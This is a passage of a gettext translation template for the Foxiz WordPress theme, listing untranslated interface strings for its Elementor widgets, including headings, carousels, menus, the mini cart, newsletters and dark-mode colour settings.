elementor/login-icon.php:101 elementor/logo.php:100 elementor/menu.php:75 #: elementor/mini-cart.php:69 elementor/navigation.php:119 #: elementor/notification-icon.php:84 elementor/search-icon.php:100 #: elementor/social-list.php:91 msgid "Alignment" msgstr "" #: elementor/font-resizer.php:25 msgid "Foxiz - Header Font Resizer" msgstr "" #: elementor/font-resizer.php:50 msgid "This block is only display in the single post page." msgstr "" #: elementor/font-resizer.php:57 elementor/mini-cart.php:49 #: elementor/notification-icon.php:64 elementor/search-icon.php:69 #: elementor/social-list.php:66 msgid "Icon Font Size" msgstr "" #: elementor/font-resizer.php:59 msgid "Select a custom font size for the font resizer icon." msgstr "" #: elementor/font-resizer.php:66 elementor/login-icon.php:93 #: elementor/mini-cart.php:61 elementor/notification-icon.php:76 #: elementor/search-icon.php:81 elementor/social-list.php:75 msgid "Icon Height" msgstr "" #: elementor/font-resizer.php:68 msgid "Select a custom height value for the font resizer icon." msgstr "" #: elementor/font-resizer.php:96 elementor/heading.php:177 #: elementor/menu.php:98 elementor/mini-cart.php:91 #: elementor/notification-icon.php:106 elementor/search-icon.php:122 #: elementor/social-list.php:113 msgid "Color Settings" msgstr "" #: elementor/font-resizer.php:103 elementor/login-icon.php:130 #: elementor/mini-cart.php:98 elementor/notification-icon.php:113 #: elementor/search-icon.php:129 elementor/social-list.php:120 msgid "Icon Color" msgstr "" #: elementor/font-resizer.php:105 msgid "Select a color for the font resizer icon." msgstr "" #: elementor/font-resizer.php:113 elementor/login-icon.php:140 #: elementor/mini-cart.php:118 elementor/notification-icon.php:123 #: elementor/search-icon.php:139 elementor/social-list.php:130 msgid "Dark Mode - Icon Color" msgstr "" #: elementor/font-resizer.php:115 msgid "Select a color for the font resizer icon in the dark mode." msgstr "" #: elementor/grid-1.php:22 msgid "Foxiz - Grid 1 (Standard)" msgstr "" #: elementor/grid-1.php:556 elementor/grid-2.php:555 #: elementor/grid-box-1.php:555 elementor/grid-box-2.php:555 #: elementor/grid-small-1.php:564 elementor/list-small-1.php:421 #: elementor/list-small-2.php:471 elementor/list-small-3.php:461 #: elementor/overlay-1.php:436 elementor/overlay-2.php:540 msgid "Counter" msgstr "" #: elementor/grid-1.php:563 elementor/grid-2.php:562 #: elementor/grid-box-1.php:562 elementor/grid-box-2.php:562 #: elementor/grid-small-1.php:571 elementor/list-small-1.php:428 #: elementor/list-small-2.php:478 elementor/list-small-3.php:468 #: elementor/overlay-1.php:443 elementor/overlay-2.php:547 msgid "Show Counter" msgstr "" #: elementor/grid-1.php:573 elementor/grid-2.php:572 #: elementor/grid-box-1.php:572 elementor/grid-box-2.php:572 #: elementor/grid-small-1.php:581 elementor/list-small-1.php:438 #: elementor/list-small-2.php:488 elementor/list-small-3.php:478 #: elementor/overlay-1.php:453 elementor/overlay-2.php:557 msgid "Counter Offset" msgstr "" #: elementor/grid-1.php:825 elementor/grid-2.php:823 #: elementor/grid-box-1.php:867 elementor/grid-box-2.php:867 #: elementor/grid-small-1.php:832 elementor/list-small-2.php:748 #: elementor/list-small-3.php:703 elementor/overlay-2.php:764 msgid "Carousel Mode" msgstr "" #: elementor/grid-1.php:833 elementor/grid-2.php:831 #: elementor/grid-box-1.php:875 elementor/grid-box-2.php:875 #: elementor/grid-small-1.php:840 elementor/list-small-2.php:756 #: elementor/list-small-3.php:711 elementor/overlay-2.php:772 msgid "" "The ajax pagination setting will be not available if the carousel mode is " "activated." msgstr "" #: elementor/grid-1.php:840 elementor/grid-2.php:838 #: elementor/grid-box-1.php:882 elementor/grid-box-2.php:882 #: elementor/grid-small-1.php:847 elementor/list-small-2.php:763 #: elementor/list-small-3.php:718 elementor/overlay-2.php:779 msgid "Carousel" msgstr "" #: elementor/grid-1.php:850 elementor/grid-2.php:848 #: elementor/grid-box-1.php:892 elementor/grid-box-2.php:892 #: elementor/grid-small-1.php:857 elementor/list-small-2.php:773 #: elementor/list-small-3.php:728 elementor/overlay-2.php:789 msgid "Number of Slides" msgstr "" #: elementor/grid-1.php:860 elementor/grid-2.php:858 #: elementor/grid-box-1.php:902 elementor/grid-box-2.php:902 #: elementor/grid-small-1.php:867 elementor/list-small-2.php:783 #: elementor/list-small-3.php:738 elementor/overlay-2.php:799 msgid "Wide Screen - Number of Slides" msgstr "" #: elementor/grid-1.php:869 elementor/grid-2.php:867 #: elementor/grid-box-1.php:911 elementor/grid-box-2.php:911 #: elementor/grid-small-1.php:876 elementor/list-small-2.php:792 #: elementor/list-small-3.php:747 msgid "Carousel Gap Value" msgstr "" #: elementor/grid-1.php:879 elementor/grid-2.php:877 #: elementor/grid-box-1.php:921 elementor/grid-box-2.php:921 #: elementor/grid-small-1.php:886 elementor/list-small-2.php:802 #: elementor/list-small-3.php:757 elementor/overlay-1.php:685 #: elementor/overlay-2.php:818 msgid "Pagination Dot" msgstr "" #: elementor/grid-1.php:889 elementor/grid-2.php:887 #: elementor/grid-box-1.php:931 elementor/grid-box-2.php:931 #: elementor/grid-small-1.php:896 elementor/list-small-2.php:812 #: elementor/list-small-3.php:767 elementor/overlay-1.php:695 #: elementor/overlay-2.php:828 msgid "Next/Prev" msgstr "" #: elementor/grid-1.php:899 elementor/grid-2.php:897 #: elementor/grid-box-1.php:941 elementor/grid-box-2.php:941 #: elementor/grid-small-1.php:906 elementor/list-small-2.php:822 #: elementor/list-small-3.php:777 elementor/overlay-2.php:838 msgid "Nav Spacing" msgstr "" #: elementor/grid-1.php:928 elementor/grid-2.php:926 #: elementor/grid-box-1.php:970 elementor/grid-box-2.php:970 #: elementor/grid-small-1.php:935 elementor/list-small-2.php:851 #: elementor/list-small-3.php:806 elementor/overlay-2.php:867 msgid "Carousel Free Mode" msgstr "" #: elementor/grid-1.php:938 elementor/grid-2.php:936 #: elementor/grid-box-1.php:980 elementor/grid-box-2.php:980 #: elementor/grid-small-1.php:945 elementor/list-small-2.php:861 #: elementor/list-small-3.php:816 elementor/overlay-2.php:877 msgid "Centered Sliders" msgstr "" #: elementor/grid-2.php:21 msgid "Foxiz - Grid 2" msgstr "" #: elementor/grid-box-1.php:21 msgid "Foxiz - Boxed Grid 1" msgstr "" #: elementor/grid-box-1.php:736 elementor/grid-box-2.php:806 #: elementor/list-box-1.php:725 elementor/list-box-2.php:725 msgid "Boxed Settings" msgstr "" #: elementor/grid-box-1.php:743 elementor/grid-box-2.php:813 #: elementor/list-box-1.php:732 elementor/list-box-2.php:732 msgid "Boxed Layout" msgstr "" #: elementor/grid-box-1.php:753 elementor/grid-box-2.php:823 #: elementor/list-box-1.php:742 elementor/list-box-2.php:742 msgid "Box Color" msgstr "" #: elementor/grid-box-1.php:762 elementor/grid-box-2.php:832 #: elementor/list-box-1.php:751 elementor/list-box-2.php:751 msgid "Dark - Box Color" msgstr "" #: elementor/grid-box-1.php:770 elementor/grid-box-2.php:840 #: elementor/list-box-1.php:759 elementor/list-box-2.php:759 msgid "Box Padding" msgstr "" #: elementor/grid-box-2.php:21 msgid "Foxiz - Boxed Grid 2" msgstr "" #: elementor/grid-small-1.php:22 msgid "Foxiz - Small Grid" msgstr "" #: elementor/grid-small-1.php:327 msgid "Featured Position on Mobile" msgstr "" #: elementor/grid-small-1.php:329 msgid "Select the featured position for this block in the mobile device" msgstr "" #: elementor/heading.php:26 msgid "Foxiz - Heading" msgstr "" #: elementor/heading.php:53 msgid "Input your heading title, allow i tags for icon classname." msgstr "" #: elementor/heading.php:54 msgid "Latest News" msgstr "" #: elementor/heading.php:60 msgid "Tagline" msgstr "" #: elementor/heading.php:63 msgid "" "Input a right tagline text for this heading. You can change font values of " "this element in Theme Options > Typography > Blog Heading" msgstr "" #: elementor/heading.php:70 msgid "Link" msgstr "" #: elementor/heading.php:78 msgid "Heading HTML Tag" msgstr "" #: elementor/heading.php:96 msgid "Layout Settings" msgstr "" #: elementor/heading.php:104 msgid "Heading Layout" msgstr "" #: elementor/heading.php:106 msgid "Select a style for your heading." msgstr "" #: elementor/heading.php:109 msgid "Layout 1" msgstr "" #: elementor/heading.php:110 elementor/quick-links.php:66 msgid "Layout 2" msgstr "" #: elementor/heading.php:111 msgid "Layout 3" msgstr "" #: elementor/heading.php:112 msgid "Layout 4" msgstr "" #: elementor/heading.php:113 msgid "Layout 5" msgstr "" #: elementor/heading.php:114 msgid "Layout 6" msgstr "" #: elementor/heading.php:115 msgid "Layout 7" msgstr "" #: elementor/heading.php:116 msgid "Layout 8" msgstr "" #: elementor/heading.php:117 msgid "Layout 9" msgstr "" #: elementor/heading.php:118 msgid "Layout 10" msgstr "" #: elementor/heading.php:119 msgid "Layout 11" msgstr "" #: elementor/heading.php:120 msgid "Layout 12" msgstr "" #: elementor/heading.php:121 msgid "Layout 13" msgstr "" #: elementor/heading.php:122 msgid "Layout 1 - Center" msgstr "" #: elementor/heading.php:123 msgid "Layout 2 - Center" msgstr "" #: elementor/heading.php:124 msgid "Layout 3 - Center" msgstr "" #: elementor/heading.php:125 msgid "Layout 4 - Center" msgstr "" #: elementor/heading.php:126 msgid "Layout 5 - Center" msgstr "" #: elementor/heading.php:127 msgid "Layout 6 - Center" msgstr "" #: elementor/heading.php:128 msgid "Layout 7 - Center" msgstr "" #: elementor/heading.php:129 msgid "Layout 8 - Center" msgstr "" #: elementor/heading.php:130 msgid "Layout 9 - Center" msgstr "" #: elementor/heading.php:131 msgid "Layout 10 - Center" msgstr "" #: elementor/heading.php:132 msgid "Layout 11 - Center" msgstr "" #: elementor/heading.php:133 msgid "Layout 12 - Center" msgstr "" #: elementor/heading.php:134 msgid "Layout 13 - Center" msgstr "" #: elementor/heading.php:144 msgid "" "Input a custom font size value (px) for this heading. Leave this option " "blank to set the default value." msgstr "" #: elementor/heading.php:155 msgid "Tagline - Font Size" msgstr "" #: elementor/heading.php:157 msgid "" "Input a custom font size value (px) for this tagline. Leave this option " "blank to set the default value." msgstr "" #: elementor/heading.php:168 msgid "Tagline Arrow" msgstr "" #: elementor/heading.php:169 msgid "Show an arrow icon at the right of the tagline." msgstr "" #: elementor/heading.php:186 msgid "" "Note: The colors settings will based on the heading layout. Primary color " "will not apply on the style 6." msgstr "" #: elementor/heading.php:194 msgid "Primary Color" msgstr "" #: elementor/heading.php:196 msgid "Select a primary color for this heading." msgstr "" #: elementor/heading.php:206 msgid "Accent Color" msgstr "" #: elementor/heading.php:208 msgid "Select a accent color for this heading." msgstr "" #: elementor/heading.php:219 msgid "Tagline Color" msgstr "" #: elementor/heading.php:221 msgid "Select a color for the tagline of this heading." msgstr "" #: elementor/heading.php:232 msgid "Dark Mode - Primary Color" msgstr "" #: elementor/heading.php:234 msgid "Select a primary color for this heading in the dark mode." msgstr "" #: elementor/heading.php:244 msgid "Dark Mode - Accent Color" msgstr "" #: elementor/heading.php:246 msgid "Select a accent color for this heading in the dark mode." msgstr "" #: elementor/heading.php:257 msgid "Dark Mode - Tagline Color" msgstr "" #: elementor/heading.php:259 msgid "Select a tagline color for this heading in the dark mode." msgstr "" #: elementor/heading.php:315 elementor/plan.php:341 msgid "Heading Font" msgstr "" #: elementor/heading.php:323 msgid "Tagline Font" msgstr "" #: elementor/hierarchical-1.php:25 msgid "Foxiz - Hierarchical 1" msgstr "" #: elementor/hierarchical-1.php:223 elementor/hierarchical-2.php:225 msgid "" "This layout is best suited for putting to the column from 25% to 50% of the " "width." msgstr "" #: elementor/hierarchical-1.php:314 elementor/hierarchical-2.php:286 msgid "Leave this option blank or set 0 to disable." msgstr "" #: elementor/hierarchical-1.php:361 elementor/hierarchical-2.php:333 #: elementor/hierarchical-3.php:348 msgid "Secondary Title HTML Tag" msgstr "" #: elementor/hierarchical-1.php:395 elementor/hierarchical-2.php:367 #: elementor/hierarchical-3.php:382 msgid "Secondary Title Font Size" msgstr "" #: elementor/hierarchical-1.php:545 elementor/hierarchical-2.php:499 #: elementor/hierarchical-3.php:504 msgid "Secondary Post Title Font" msgstr "" #: elementor/hierarchical-1.php:585 elementor/hierarchical-2.php:539 #: elementor/hierarchical-3.php:544 msgid "First Post Bottom Margin" msgstr "" #: elementor/hierarchical-1.php:587 elementor/hierarchical-2.php:541 #: elementor/hierarchical-3.php:546 msgid "Input custom bottom margin values (px) for the first post." msgstr "" #: elementor/hierarchical-2.php:26 msgid "Foxiz - Hierarchical 2" msgstr "" #: elementor/hierarchical-3.php:26 msgid "Foxiz - Hierarchical 3" msgstr "" #: elementor/hierarchical-3.php:209 msgid "This layout is best suited for putting to the column 50% width" msgstr "" #: elementor/list-1.php:27 msgid "Foxiz - List 1" msgstr "" #: elementor/list-1.php:315 elementor/list-2.php:659 msgid "" "This layout is best suited for a content section or full width section with " "2 columns." msgstr "" #: elementor/list-1.php:341 elementor/list-2.php:326 #: elementor/list-box-1.php:341 elementor/list-box-2.php:341 #: elementor/list-small-2.php:243 elementor/list-small-3.php:233 msgid "Custom Featured Width" msgstr "" #: elementor/list-1.php:344 elementor/list-2.php:329 #: elementor/list-box-1.php:344 elementor/list-box-2.php:344 #: elementor/list-small-2.php:246 elementor/list-small-3.php:236 msgid "" "Input custom width values (px) for the featured image. Leave blank to set it " "as the default." msgstr "" #: elementor/list-1.php:352 elementor/list-2.php:337 #: elementor/list-box-1.php:352 elementor/list-box-2.php:352 #: elementor/list-small-2.php:254 elementor/list-small-3.php:244 #: widgets/sb-post.php:162 msgid "Featured Position" msgstr "" #: elementor/list-1.php:750 elementor/list-2.php:742 #: elementor/list-box-1.php:793 elementor/list-box-2.php:793 msgid "1/2 Featured Spacing Value" msgstr "" #: elementor/list-1.php:822 elementor/list-2.php:814 #: elementor/list-box-1.php:865 elementor/list-box-2.php:865 #: elementor/list-small-2.php:738 elementor/overlay-1.php:650 #: elementor/overlay-2.php:754 msgid "Vertical Align" msgstr "" #: elementor/list-2.php:23 msgid "Foxiz - List 2" msgstr "" #: elementor/list-box-1.php:27 msgid "Foxiz - Boxed List 1" msgstr "" #: elementor/list-box-1.php:315 elementor/list-box-2.php:315 msgid "" "This layout is best suited for putting to all sections with gray background, " "depending on column settings." msgstr "" #: elementor/list-box-2.php:27 msgid "Foxiz - Boxed List 2" msgstr "" #: elementor/list-small-1.php:26 msgid "Foxiz - Small List 1" msgstr "" #: elementor/list-small-1.php:525 elementor/list-small-2.php:593 #: elementor/list-small-3.php:565 #, php-format msgid "" "This layout is best suited for putting to section 25 ~ 33% of width with 1 " "column." msgstr "" #: elementor/list-small-1.php:584 msgid "Scrolling Mode" msgstr "" #: elementor/list-small-1.php:591 msgid "Scroll Bar" msgstr "" #: elementor/list-small-1.php:601 msgid "Block Height" msgstr "" #: elementor/list-small-2.php:26 msgid "Foxiz - Small List 2" msgstr "" #: elementor/list-small-2.php:676 elementor/list-small-3.php:648 msgid "Custom Featured Margin" msgstr "" #: elementor/list-small-3.php:26 msgid "Foxiz - Small List 3" msgstr "" #: elementor/login-icon.php:25 msgid "Foxiz - Header Login Icon" msgstr "" #: elementor/login-icon.php:50 msgid "Trigger Button Layout" msgstr "" #: elementor/login-icon.php:52 msgid "Select a layout for the sign in trigger button." msgstr "" #: elementor/login-icon.php:54 msgid "Icon" msgstr "" #: elementor/login-icon.php:55 msgid "Text Button" msgstr "" #: elementor/login-icon.php:62 msgid "User Dashboard Menu" msgstr "" #: elementor/login-icon.php:63 msgid "" "Assign a menu for displaying when hovering on the login icon if user logged." msgstr "" #: elementor/login-icon.php:73 msgid "Align" msgstr "" #: elementor/login-icon.php:82 msgid "Select a custom font size for the login icon/button." msgstr "" #: elementor/login-icon.php:95 msgid "Select a custom height value for the login icon." msgstr "" #: elementor/login-icon.php:123 msgid "Icon Style Settings" msgstr "" #: elementor/login-icon.php:132 msgid "Select a color for the login icon." msgstr "" #: elementor/login-icon.php:142 msgid "Select a color for the login icon in the dark mode." msgstr "" #: elementor/login-icon.php:151 msgid "Text Button Style Settings" msgstr "" #: elementor/login-icon.php:158 elementor/login-icon.php:220 #: elementor/login-icon.php:256 elementor/menu.php:105 elementor/menu.php:133 #: elementor/mini-cart.php:155 elementor/navigation.php:150 #: elementor/navigation.php:230 msgid "Text Color" msgstr "" #: elementor/login-icon.php:160 elementor/login-icon.php:179 msgid "Select a color for the text login button." msgstr "" #: elementor/login-icon.php:168 elementor/plan.php:183 msgid "Button Background" msgstr "" #: elementor/login-icon.php:170 msgid "Select a background color for the button." msgstr "" #: elementor/login-icon.php:177 elementor/mini-cart.php:182 msgid "Dark Mode - Text Color" msgstr "" #: elementor/login-icon.php:187 msgid "Dark Mode - Button Background" msgstr "" #: elementor/login-icon.php:189 msgid "Select a background color for the login button in the dark mode." msgstr "" #: elementor/login-icon.php:196 msgid "Button Font" msgstr "" #: elementor/login-icon.php:204 msgid "User Dropdown Settings" msgstr "" #: elementor/login-icon.php:211 elementor/mini-cart.php:146 #: elementor/notification-icon.php:151 msgid "Dropdown Right Position" msgstr "" #: elementor/login-icon.php:213 msgid "" "input a right relative position for the logged dropdown, for example: -200" msgstr "" #: elementor/login-icon.php:221 msgid "Select a text color for the logged dropdown." msgstr "" #: elementor/login-icon.php:229 elementor/menu.php:114 elementor/menu.php:142 #: elementor/navigation.php:159 elementor/navigation.php:239 msgid "Hover Text Color" msgstr "" #: elementor/login-icon.php:230 msgid "Select a text color for the logged dropdown when hovering." msgstr "" #: elementor/login-icon.php:238 elementor/mini-cart.php:164 #: elementor/notification-icon.php:160 elementor/search-icon.php:165 msgid "Background Gradient (From)" msgstr "" #: elementor/login-icon.php:239 elementor/mini-cart.php:165 #: elementor/notification-icon.php:161 msgid "Select a background color (color stop: 0%) for the dropdown section." msgstr "" #: elementor/login-icon.php:247 elementor/mini-cart.php:173 #: elementor/notification-icon.php:169 elementor/search-icon.php:174 msgid "Background Gradient (To)" msgstr "" #: elementor/login-icon.php:249 elementor/mini-cart.php:175 #: elementor/notification-icon.php:171 msgid "Select a background color (color stop: 100%) for the dropdown section." msgstr "" #: elementor/login-icon.php:257 msgid "Select a text color for the logged dropdown in the dark mode." msgstr "" #: elementor/login-icon.php:265 msgid "Dark Mode - Hover Text Color" msgstr "" #: elementor/login-icon.php:266 msgid "" "Select a text color for the logged dropdown when hovering in the dark mode." msgstr "" #: elementor/login-icon.php:274 elementor/mini-cart.php:191 #: elementor/notification-icon.php:178 elementor/search-icon.php:183 msgid "Dark Mode - Background Gradient (From)" msgstr "" #: elementor/login-icon.php:275 elementor/mini-cart.php:192 #: elementor/notification-icon.php:179 msgid "" "Select a background color (color stop: 0%) for the dropdown section in the " "dark mode." msgstr "" #: elementor/login-icon.php:283 elementor/mini-cart.php:200 #: elementor/notification-icon.php:187 elementor/search-icon.php:192 msgid "Dark Mode - Background Gradient (To)" msgstr "" #: elementor/login-icon.php:285 elementor/mini-cart.php:202 #: elementor/notification-icon.php:189 msgid "" "Select a background color (color stop: 100%) for the dropdown section in the " "dark mode." msgstr "" #: elementor/login-icon.php:296 msgid "- Assign a Menu -" msgstr "" #: elementor/logo.php:25 msgid "Foxiz - Site Logo" msgstr "" #: elementor/logo.php:42 msgid "Logo Settings" msgstr "" #: elementor/logo.php:49 msgid "Logo Image" msgstr "" #: elementor/logo.php:50 msgid "Select or upload a logo image." msgstr "" #: elementor/logo.php:57 msgid "Dark Mode - Logo Image" msgstr "" #: elementor/logo.php:58 msgid "Select or upload a logo image in the dark mode." msgstr "" #: elementor/logo.php:65 msgid "Custom Logo URL" msgstr "" #: elementor/logo.php:66 msgid "Input a custom URL for the logo, Default will return to the homepage." msgstr "" #: elementor/logo.php:86 msgid "Logo Width" msgstr "" #: elementor/logo.php:87 msgid "Set a max width for your logo" msgstr "" #: elementor/menu.php:25 msgid "Foxiz - Sidebar Menu" msgstr "" #: elementor/menu.php:42 elementor/navigation.php:42 msgid "Menu Settings" msgstr "" #: elementor/menu.php:49 elementor/navigation.php:49 msgid "Assign Menu" msgstr "" #: elementor/menu.php:50 msgid "Select a menu for this block." msgstr "" #: elementor/menu.php:67 msgid "Item Padding" msgstr "" #: elementor/menu.php:69 msgid "Input a custom spacing between menu item." msgstr "" #: elementor/menu.php:106 elementor/navigation.php:151 msgid "" "Select a text color for displaying in the navigation bar of this header." msgstr "" #: elementor/menu.php:115 elementor/navigation.php:160 #: elementor/navigation.php:213 msgid "Select a text color when hovering." msgstr "" #: elementor/menu.php:126 msgid "Dark Mode - Color Settings" msgstr "" #: elementor/menu.php:134 elementor/navigation.php:231 msgid "" "Select a text color for displaying in the navigation bar of this header in " "the dark mode." msgstr "" #: elementor/menu.php:143 elementor/navigation.php:240 #: elementor/navigation.php:293 msgid "Select a text color when hovering in the dark mode." msgstr "" #: elementor/menu.php:152 msgid "Font & Font Size" msgstr "" #: elementor/menu.php:159 msgid "Menu Font" msgstr "" #: elementor/menu.php:166 msgid "Sub Menu Font Size" msgstr "" #: elementor/menu.php:168 msgid "Input a custom font size value for the sub menu item." msgstr "" #: elementor/mini-cart.php:25 msgid "Foxiz - Header Mini Cart" msgstr "" #: elementor/mini-cart.php:51 msgid "Select a custom font size for the mini cart icon." msgstr "" #: elementor/mini-cart.php:63 msgid "Select a custom height value for the mini cart icon." msgstr "" #: elementor/mini-cart.php:100 msgid "Select a color for the mini cart icon." msgstr "" #: elementor/mini-cart.php:108 msgid "Cart Counter Color" msgstr "" #: elementor/mini-cart.php:110 msgid "Select a color for the cart counter dot." msgstr "" #: elementor/mini-cart.php:120 msgid "Select a color for the mini cart icon in the dark mode." msgstr "" #: elementor/mini-cart.php:128 msgid "Count Dot Color" msgstr "" #: elementor/mini-cart.php:130 msgid "Select a color for the cart counter dot in the dark mode." msgstr "" #: elementor/mini-cart.php:139 elementor/notification-icon.php:144 msgid "Dropdown Settings" msgstr "" #: elementor/mini-cart.php:148 msgid "" "input a right relative position for the mini cart dropdown, for example: -200" msgstr "" #: elementor/mini-cart.php:156 msgid "Select a text color for the mini cart dropdown." msgstr "" #: elementor/mini-cart.php:183 msgid "Select a text color for the mini cart dropdown in the dark mode." msgstr "" #: elementor/navigation.php:25 msgid "Foxiz - Menu Navigation" msgstr "" #: elementor/navigation.php:50 msgid "Select a menu for your website." msgstr "" #: elementor/navigation.php:61 msgid "Sticky Headline Bar" msgstr "" #: elementor/navigation.php:69 msgid "" "This feature requests to enable the \"Single Headline Sticky\" setting in " "the wrapper section in order to work." msgstr "" #: elementor/navigation.php:77 msgid "The single tagline will only appear in the single post." msgstr "" #: elementor/navigation.php:84 msgid "Sticky Single headline" msgstr "" #: elementor/navigation.php:86 msgid "Replace menu by post heading when scrolling in the single post page." msgstr "" #: elementor/navigation.php:103 msgid "Menu Height" msgstr "" #: elementor/navigation.php:105 msgid "Input custom height value (px) for this menu. Default is 60." msgstr "" #: elementor/navigation.php:111 elementor/social-list.php:83 msgid "Item Spacing" msgstr "" #: elementor/navigation.php:113 msgid "Input a custom spacing between menu item. Default is 12." msgstr "" #: elementor/navigation.php:143 msgid "Main Color Settings" msgstr "" #: elementor/navigation.php:168 elementor/navigation.php:248 msgid "Hover Accent Color" msgstr "" #: elementor/navigation.php:169 msgid "Select a accent color when hovering." msgstr "" #: elementor/navigation.php:178 msgid "Sub Menu Color Settings" msgstr "" #: elementor/navigation.php:185 elementor/navigation.php:265 msgid "Sub Menu - Background Gradient (From)" msgstr "" #: elementor/navigation.php:186 msgid "" "Select a background color (color stop: 0%) for the sub menu dropdown section." msgstr "" #: elementor/navigation.php:194 elementor/navigation.php:274 msgid "Sub Menu - Background Gradient (To)" msgstr "" #: elementor/navigation.php:195 msgid "" "Select a background color (color stop: 100%) for the sub menu dropdown " "section." msgstr "" #: elementor/navigation.php:203 elementor/navigation.php:283 msgid "Sub Menu - Text Color" msgstr "" #: elementor/navigation.php:204 msgid "Select a text color for the sub menu dropdown section." msgstr "" #: elementor/navigation.php:212 elementor/navigation.php:292 msgid "Sub Menu - Hover Text Color" msgstr "" #: elementor/navigation.php:223 msgid "Dark Mode - Main Color Settings" msgstr "" #: elementor/navigation.php:249 msgid "Select a accent color when hovering in the dark mode." msgstr "" #: elementor/navigation.php:258 msgid "Dark Mode - Sub Menu Color Settings" msgstr "" #: elementor/navigation.php:266 msgid "" "Select a background color (color stop: 0%) for the sub menu dropdown section " "in the dark mode." msgstr "" #: elementor/navigation.php:275 msgid "" "Select a background color (color stop: 100%) for the sub menu dropdown " "section in the dark mode." msgstr "" #: elementor/navigation.php:284 msgid "Select a text color for the sub menu dropdown section in the dark mode." msgstr "" #: elementor/navigation.php:302 msgid "Mega Menu - Color Scheme" msgstr "" #: elementor/navigation.php:311 msgid "" "In case you would like to switch layout and text to light when set a dark " "background for sub menu in light mode." msgstr "" #: elementor/navigation.php:330 msgid "Main Menu Font" msgstr "" #: elementor/navigation.php:338 msgid "Sub Menu Font" msgstr "" #: elementor/newsletter-1.php:25 msgid "Foxiz - FW Newsletter 1" msgstr "" #: elementor/newsletter-1.php:42 elementor/newsletter-2.php:42 #: elementor/newsletter-3.php:43 elementor/social-list.php:42 msgid "General" msgstr "" #: elementor/newsletter-1.php:50 elementor/newsletter-2.php:50 msgid "This layout is best suited for putting to a full width section." msgstr "" #: elementor/newsletter-1.php:58 elementor/newsletter-2.php:58 #: elementor/newsletter-3.php:59 msgid "Input a heading for the newsletter box." msgstr "" #: elementor/newsletter-1.php:60 elementor/newsletter-2.php:60 msgid "Always Stay Up to Date" msgstr "" #: elementor/newsletter-1.php:69 elementor/newsletter-2.php:69 #: elementor/newsletter-3.php:70 msgid "Input a description for the newsletter box." msgstr "" #: elementor/newsletter-1.php:70 elementor/newsletter-2.php:70 #: elementor/newsletter-3.php:71 msgid "Subscribe to our newsletter to get our newest articles instantly!" msgstr "" #: elementor/newsletter-1.php:76 elementor/newsletter-2.php:76 #: elementor/newsletter-3.php:77 msgid "Form Shortcode" msgstr "" #: elementor/newsletter-1.php:78 elementor/newsletter-2.php:78 #: elementor/newsletter-3.php:79 msgid "Input your newsletter form shortcode." msgstr "" #: elementor/newsletter-1.php:79 elementor/newsletter-2.php:79 #: elementor/newsletter-3.php:80 msgid "[mc4wp_form]" msgstr "" #: elementor/newsletter-1.php:86 elementor/newsletter-2.php:86 #: elementor/newsletter-3.php:87 msgid "Featured Image" msgstr "" #: elementor/newsletter-1.php:87 elementor/newsletter-2.php:87 #: elementor/newsletter-3.php:88 msgid "Input a featured image attachment URL for the newsletter box." msgstr "" #: elementor/newsletter-1.php:94 elementor/newsletter-2.php:94 #: elementor/newsletter-3.php:95 msgid "Dark Mode - Featured Image" msgstr "" #: elementor/newsletter-1.php:95 elementor/newsletter-2.php:95 #: elementor/newsletter-3.php:96 msgid "" "Input a featured attachment URL for the newsletter box in the dark mode." msgstr "" #: elementor/newsletter-1.php:110 elementor/newsletter-2.php:110 msgid "Background Image" msgstr "" #: elementor/newsletter-1.php:111 elementor/newsletter-2.php:111 msgid "Input a background image attachment URL for the newsletter box." msgstr "" #: elementor/newsletter-1.php:119 elementor/newsletter-2.php:119 msgid "Dark Mode - Background Image" msgstr "" #: elementor/newsletter-1.php:120 elementor/newsletter-2.php:120 msgid "" "Input a background attachment URL for the newsletter box in the dark mode." msgstr "" #: elementor/newsletter-2.php:25 msgid "Foxiz - FW Newsletter 2" msgstr "" #: elementor/newsletter-2.php:129 msgid "Input a custom inner padding for this block." msgstr "" #: elementor/newsletter-3.php:26 msgid "Foxiz - Sidebar Newsletter" msgstr "" #: elementor/newsletter-3.php:51 msgid "This layout is best suited for putting to a sidebar." msgstr "" #: elementor/newsletter-3.php:61 msgid "Subscribe Newsletter" msgstr "" #: elementor/newsletter-3.php:139 msgid "Featured Image Width" msgstr "" #: elementor/newsletter-3.php:140 msgid "Input a max width value (in px) for the featured image." msgstr "" #: elementor/notification-icon.php:25 msgid "Foxiz - Header Notification Icon" msgstr "" #: elementor/notification-icon.php:49 msgid "Destination Link" msgstr "" #: elementor/notification-icon.php:51 msgid "Input a destination URL for the notification panel." msgstr "" #: elementor/notification-icon.php:66 msgid "Select a custom font size for the notification icon." msgstr "" #: elementor/notification-icon.php:78 msgid "Select a custom height value for the notification icon." msgstr "" #: elementor/notification-icon.php:115 msgid "Select a color for the notification icon." msgstr "" #: elementor/notification-icon.php:125 msgid "Select a color for the notification icon in the dark mode." msgstr "" #: elementor/notification-icon.php:133 msgid "Notification Dot Color" msgstr "" #: elementor/notification-icon.php:135 msgid "Select a color for the notification dot icon." msgstr "" #: elementor/notification-icon.php:153 msgid "" "input a right relative position for notification dropdown, for example: -200" msgstr "" #: elementor/notification-icon.php:198 elementor/search-icon.php:203 msgid "Select color scheme for the search form to fit with your background." msgstr "" #: elementor/overlay-1.php:26 msgid "Foxiz - Overlay 1" msgstr "" #: elementor/overlay-1.php:530 msgid "" "This layout is best suited for putting to the column from 50% to 66.7% of " "the width." msgstr "" #: elementor/overlay-1.php:623 elementor/overlay-2.php:727 msgid "Custom Inner Padding" msgstr "" #: elementor/overlay-1.php:625 elementor/overlay-2.php:729 msgid "Input custom padding values (px) for the overlay content." msgstr "" #: elementor/overlay-1.php:660 msgid "Slider Mode" msgstr "" #: elementor/overlay-1.php:668 msgid "" "The ajax pagination and columns settings will be not available if the slider " "mode is activated." msgstr "" #: elementor/overlay-1.php:675 msgid "Slider" msgstr "" #: elementor/overlay-1.php:687 msgid "Enable or disable the pagination dot for this slider." msgstr "" #: elementor/overlay-1.php:697 msgid "Enable or disable the next/prev navigation dot for this slider" msgstr "" #: elementor/overlay-1.php:724 msgid "Next/Prev Icons Top Position" msgstr "" #: elementor/overlay-1.php:727 msgid "" "Input a position (percent) from the top for the next and prev slider buttons." msgstr "" #: elementor/overlay-2.php:26 msgid "Foxiz - Overlay 2" msgstr "" #: elementor/overlay-2.php:808 msgid "Carousel Gap" msgstr "" #: elementor/overlay-2.php:887 msgid "Slider Pagination Color" msgstr "" #: elementor/overlay-2.php:889 msgid "" "Select a color for the slider navigation at the footer of this carousel." msgstr 